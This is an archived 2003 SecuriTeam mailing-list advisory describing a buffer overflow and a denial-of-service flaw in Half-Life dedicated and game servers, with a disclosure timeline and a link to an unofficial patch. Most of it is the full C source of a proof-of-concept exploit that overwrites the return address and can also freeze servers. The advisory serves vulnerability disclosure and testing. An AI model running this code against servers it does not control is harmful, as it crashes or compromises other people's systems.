[NEWS] Half-Life Servers Buffer Overflow and Denial of Service Vulnerability (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 07/31/03

  • Next message: SecuriTeam: "[UNIX] wu-ftpd fb_realpath() Off-by-One Bug"
    To: list@securiteam.com
    Date: 31 Jul 2003 21:27:52 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Get Thawte's New Step-by-Step SSL Guide for Apache.
    In this guide you will find out how to test, purchase,
    install and use a Thawte Digital Certificate on you Apache web server.
    Throughout, best practices for set-up are highlighted to help you
    ensure efficient ongoing management of your encryption keys and digital
    certificates. Get you copy of this new guide now:
    http://ad.doubleclick.net/clk;5903117;8265118;i

    - - - - - - - - -

      Half-Life Servers Buffer Overflow and Denial of Service Vulnerability
    (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    Valve's Half-Life was released in 1998 but remains as the world's most
    popular FPS game.

    The success of the game is largely due to the overwhelming community
    support, which has spawned a range of MODs for the game - including the
    popular Counter-Strike MOD and Day of Defeat.

    There is a buffer overflow in the connection routine of the Half-Life
    server, allowing remote attackers to cause the product to execute
    arbitrary code.

    DETAILS

    Vulnerable systems:
     * Half-Life version 1.1.1.0 and prior
     * Half-Life dedicated version 3.1.1.1c1
     * Half-Life dedicated version 4.1.1.1a

    There is a buffer overflow in the Half-Life servers.

    Both the dedicated server and the game server are vulnerable.

    The only limitation in this buffer-overflow is that some bytes cannot be
    used in the shellcode because they are delimiters or otherwise reserved
    for use by the Half-Life protocol. This puts some minor constraints on the
    execution of the remote code, but is far from limiting.

    Further, there is a Denial of Service vulnerability that completely
    freezes the server, entering it into an infinite loop.

    Fix:
    Valve was notified of this vulnerability on April 14 2003, and replied
    that they were working to patch these bugs.

    Since that last point of contact, Valve and its representatives have been
    contacted on multiple occasions for a status update on the patch, without
    any replies.

    Workaround:
    An unofficial patch is available for Half-Life 1.1.1.0 and 4.1.1.0
    dedicated server (retail game):
     <http://www.pivx.com/luigi/patches/hlbof-server-1110-fix.zip>
    http://www.pivx.com/luigi/patches/hlbof-server-1110-fix.zip

     * The other versions cannot be patched because WON doesn't allow it!

    Exploit:
    The proof-of-concept exploit is very simple, and acts partly as a DoS and
    a code execution exploit.

    The return address is overwritten with the offset of a function in
    SWDLL.DLL that displays a message in the console of the dedicated server,
    after which it crashes. This approach was chosen to demonstrate actual
    code execution without endangering the administrator, enabling the admin
    to easily verify whether the server is vulnerable. The POC exploit can be
    used against both the dedicated and the game servers, overwriting the
    stored address with 0x063c27f5.

    It can be compiled on both Windows and UNIX and can test both the
    buffer-overflow in the parameter (code-execution) and in the value
    (DoS):
    /*

    Half-Life dedicated server <= 1.1.1.0 buffer overflow test for any Windows
    by Auriemma Luigi
    e-mail: aluigi@pivx.com
    web: http://www.pivx.com/luigi/

    This very simple/lame tool lets everyone to test their Half-Life server
    (both Win and Linux versions).

    If the remote server is a Half-Life dedicated server on Windows {

     The tool simply calls a function in SWDS.DLL that visualizes some strings
     and one of these strings is just pointed by the ESP register to our
     string that has caused the buffer-overflow.
     That means that EVERY Windows system can use this little tool.
     After that the strings will be shown in your dedicated server console,
    you
     will got the classical error message by Windows (unfortunally the
    function
     I call, crashs after visualizing the message)

    } else {
     this exploit will simply cause a remote crash on every MOD that uses
    }

    the Half-Life engine and the same game too.

    UNIX & WIN VERSION
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <time.h>

    #ifdef WIN
      #include <winsock.h>
      #include "winerr.h"

      #define close closesocket
    #else
      #include <unistd.h>
      #include <sys/socket.h>
      #include <sys/types.h>
      #include <arpa/inet.h>
      #include <netdb.h>
    #endif

    #define VER "0.1"
    #define BUFFSZ 4096
    #define PORT 27015
    #define INFO "\xff\xff\xff\xff" \
        "infostring\n\0"
    #define GETCH "\xff\xff\xff\xff" \
        "getchallenge\n\0"
    #define TIMEOUT 5 /* 5 seconds */
    #define PAYLOAD "\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" \
        "\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" \
        "\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" \
        "\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" \
        "\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" \
        "\t\t\t\t\t\t\t\t\t\t\t\t\t" \
        "HalfLife buffer overflow by Auriemma Luigi." \
        "\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" \
        "\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" \
        "\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" \
        "\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" \
        "\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" \
        "\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" \
        "\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" \
        "\t\t\t\t\t\t\t\t\t\t\t\t" \
    /* EBP */ "\t\t\t\t" \
    /* EIP */ "\xf5\x27\x3c\x06"
    /* PAYLOAD is 268 bytes! */
    #define MODEL "robo"
    #define NAME "Bugtest"
    #define TOPCOLOR "25" /* 0-255, it's NOT important */
    #define BOTTOMCOLOR "161" /* 0-255, it's NOT important */
    #define BOF1 "\xff\xff\xff\xff" \
        "connect %d" \
        " %s \"" \
        "\\prot\\2" \
        "\\unique\\-1" \
        "\\raw\\%08lx%08lx%08lx%08lx" \
        "\" \"" \
        "\\model\\" MODEL \
        "\\topcolor\\" TOPCOLOR \
        "\\bottomcolor\\" BOTTOMCOLOR \
        "\\rate\\9999.000000" \
        "\\cl_updaterate\\20" \
        "\\cl_lw\\1" \
        "\\cl_lc\\1" \
        "\\cl_dlmax\\128" \
        "\\hud_classautokill\\1" \
        "\\name\\" NAME \
        "\\" PAYLOAD "\\value" \
        "\"\n"
    #define BOF2 "\xff\xff\xff\xff" \
        "connect %d" \
        " %s \"" \
        "\\prot\\2" \
        "\\unique\\-1" \
        "\\raw\\%08lx%08lx%08lx%08lx" \
        "\" \"" \
        "\\model\\" PAYLOAD \
        "\\topcolor\\" TOPCOLOR \
        "\\bottomcolor\\" BOTTOMCOLOR \
        "\\rate\\9999.000000" \
        "\\cl_updaterate\\20" \
        "\\cl_lw\\1" \
        "\\cl_lc\\1" \
        "\\cl_dlmax\\128" \
        "\\hud_classautokill\\1" \
        "\\name\\" NAME \
        "\"\n"
    #define BUGNUM "" \
    "1 Parameter buffer-overflow: prints a string into the console of the
    dedicated\n" \
    " server and crash the game server (possible remote code execution).\n" \
    " The target dedicated server must be the Windows version 1.1.1.0, if not
    you\n" \
    " will not see my message but the return address will be likewise
    overwritten\n" \
    " (SWDS.DLL must have the MD5 187a300a636d01a67918b706a5ef85a4 if you want
    to\n" \
    " see the message)\n" \
    "2 Value buffer-overflow: freezes ANY Half-life server (infinite loop)\n"

    int getproto(unsigned char *buff);
    int timeout2(int sock);
    void showinfostring(unsigned char *buff, int size);
    u_long resolv(char *host);
    void std_err(void);

    int main(int argc, char *argv[]) {
      unsigned char buffrecv[BUFFSZ],
        buffsend[sizeof(BOF1) + 64],
        challenge[16],
        bug,
        *bofstr,
        *stri,
        *strf;
      struct sockaddr_in peer;
      int sd,
        err,
        rlen,
        bufflen,
        proto;

      setbuf(stdout, NULL);

      fputs("\n"
      "Half-Life server buffer overflow & freeze ("VER")\n"
      "by Auriemma Luigi\n"
      "e-mail: aluigi@pivx.com\n"
      "web: http://www.pivx.com/luigi/\n"
      "Versions affected: 1.1.1.0, 4.1.1.1a and 3.1.1.1c1" \
      "\n", stdout);

      if(argc < 3) {
      printf("\nUsage: %s <bug_number> <host> [port(%u)]\n"
      "\n\nbug_number:\n\n"
      BUGNUM
      "\n", argv[0], PORT);
      exit(1);
      }

      srand(time(NULL));

    #ifdef WIN
      WSADATA wsadata;
      err = WSAStartup(MAKEWORD(2,0), &wsadata);
      if(err < 0) std_err();
    #endif

      bug = argv[1][0];
      switch(bug) {
      case '1': bofstr = BOF1; break;
      case '2': bofstr = BOF2; break;
      default: {
      fputs("\nError: You MUST choose one of the following bug numbers:\n\n"
        BUGNUM
        "\n", stdout);
      exit(1);
      }
      }

      peer.sin_addr.s_addr = resolv(argv[2]);
      if(argc > 3) peer.sin_port = htons(atoi(argv[3]));
      else peer.sin_port = htons(PORT);
      peer.sin_family = AF_INET;
      rlen = sizeof(peer);

      sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
      if(sd < 0) std_err();

      /* GET INFORMATIONS */
      err = sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer,
    rlen);
      if(err < 0) std_err();
      err = timeout2(sd);
      if(err < 0) {
      fputs("\nError: socket timeout\n", stdout);
      exit(1);
      }
      err = recvfrom(sd, buffrecv, BUFFSZ, 0, (struct sockaddr *)&peer,
    &rlen);
      if(err < 0) std_err();
      buffrecv[err] = 0x00;

      proto = getproto(buffrecv);
      showinfostring(buffrecv, err);

      /* GET CHALLENGE NUMBER */
      err = sendto(sd, GETCH, sizeof(GETCH) - 1, 0, (struct sockaddr *)&peer,
    rlen);
      if(err < 0) std_err();
      err = timeout2(sd);
      if(err < 0) {
      fputs("\nError: socket timeout\n", stdout);
      exit(1);
      }
      err = recvfrom(sd, buffrecv, BUFFSZ, 0, (struct sockaddr *)&peer,
    &rlen);
      if(err < 0) std_err();
      buffrecv[err] = 0x00;

      stri = strchr(buffrecv, 0x20);
      if(!stri) stri = buffrecv;
      strf = strchr(stri + 1, 0x20);
      if(!strf) strf = buffrecv + err;
      *strf = 0x00;
      strncpy(challenge, stri, 16);
      printf("Challenge: %s\n", challenge);

      bufflen = snprintf(buffsend,
      sizeof(BOF1) + 64,
      bofstr,
      proto,
      challenge,
    #ifdef WIN
      (rand() << 16) + rand(), /* 16bit */
      (rand() << 16) + rand(),
      (rand() << 16) + rand(),
      (rand() << 16) + rand());
    #else
      (long)(rand() << 1) + (rand() & 0xf), /* 31bit */
      (long)(rand() << 1) + (rand() & 0xf),
      (long)(rand() << 1) + (rand() & 0xf),
      (long)(rand() << 1) + (rand() & 0xf));
    #endif

      if(bufflen < 0) {
      fputs("\nError: cannot allocate buffer in memory\n", stdout);
      exit(1);
      }

      err = sendto(sd, buffsend, bufflen, 0, (struct sockaddr *)&peer, rlen);
      if(err < 0) std_err();
      err = timeout2(sd);
      if(err < 0) {
      fputs("\nResult: The remote server IS vulnerable!!!\n", stdout);
      return(0);
      }
      err = recvfrom(sd, buffrecv, BUFFSZ, 0, (struct sockaddr *)&peer,
    &rlen);
      if(err < 0) std_err();
      buffrecv[err] = 0x00;
      printf("Connect: %s\n", buffrecv + 5);

      close(sd);

      fputs("\nResult: The server doesn't seems to be vulnerable\n\n",
    stdout);

      return(0);
    }

    int getproto(unsigned char *buff) {
      int p;
      unsigned char *ptr;

      ptr = strstr(buff + 23, "protocol");
      if(ptr) {
      p = atoi(ptr + 9);
      } else {
      fputs("\nError: No protocol informations in the answer of the server\n",
    stdout);
      exit(1);
      }

      return(p);
    }

    void showinfostring(unsigned char *buff, int size) {
      int nt = 1,
      len;
      unsigned char *string;

      fputs("\n--------------------------------------------------\n", stdout);

      if(memcmp(buff + 1, "\xff\xff\xff", 3)) {
      fputs("\nError: Bad answer from the server (it is not a true server)\n",
    stdout);
      exit(1);
      }

      len = strlen(buff);
      if(len < size) buff += len + 1;

      while(1) {
      string = strchr(buff, '\\');
      if(!string) break;

      *string = 0x00;

      /* \n or \t */
      if(!nt) {
      printf("%s: ", buff);
      nt++;
      } else {
      printf("%s\n", buff);
      nt = 0;
      }

      buff = string + 1;
      }

      printf("%s\n", buff);
    }

    int timeout2(int sock) {
      struct timeval timeout;
      fd_set fd_read;
      int err;

      timeout.tv_sec = TIMEOUT;
      timeout.tv_usec = 0;

      FD_ZERO(&fd_read);
      FD_SET(sock, &fd_read);
      err = select(sock + 1, &fd_read, NULL, NULL, &timeout);
      if(err < 0) std_err();
      if(err == 0) return(-1);
      return(0);
    }

    u_long resolv(char *host) {
      struct hostent *hp;
      u_long host_ip;

      host_ip = inet_addr(host);
      if(host_ip == INADDR_NONE) {
      hp = gethostbyname(host);
      if(!hp) {
      printf("\nError: Unable to resolve hostname (%s)\n", host);
      exit(1);
      } else host_ip = *(u_long *)(hp->h_addr);
      }

      return(host_ip);
    }

    #ifndef WIN
      void std_err(void) {
      perror("\nError");
      exit(1);
      }
    #endif

    ADDITIONAL INFORMATION

    The original advisory can be found at:
    <http://www.pivx.com/luigi/adv/hlbof-server-adv.txt>
    http://www.pivx.com/luigi/adv/hlbof-server-adv.txt

    The information has been provided by <mailto:aluigi@pivx.com> Auriemma
    Luigi.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] wu-ftpd fb_realpath() Off-by-One Bug"

    Relevant Pages

    • [EXPL] Half-Life Exploit Code Released (Malformed Packet)
      ... A vulnerability in Half-Life allows an attacker to cause the server to no ... int main ...
      (Securiteam)
    • SSPI Kerberos for delegation
      ... security context created in server to connect back and authenticate to ... DWORD bufsiz = sizeof buf; ... int n = ib.cbBuffer; ... // wserr() displays winsock errors and aborts. ...
      (microsoft.public.win32.programmer.kernel)
    • SSPI delegation using kerberos
      ... security context created in server to connect back and authenticate to ... DWORD bufsiz = sizeof buf; ... int n = ib.cbBuffer; ... // wserr() displays winsock errors and aborts. ...
      (microsoft.public.platformsdk.security)
    • SSPI Kerberos for delegation
      ... security context created in server to connect back and authenticate to ... DWORD bufsiz = sizeof buf; ... int n = ib.cbBuffer; ... // wserr() displays winsock errors and aborts. ...
      (microsoft.public.platformsdk.security)
    • SSPI Kerberos for delegation
      ... security context created in server to connect back and authenticate to ... DWORD bufsiz = sizeof buf; ... int n = ib.cbBuffer; ... // wserr() displays winsock errors and aborts. ...
      (microsoft.public.security)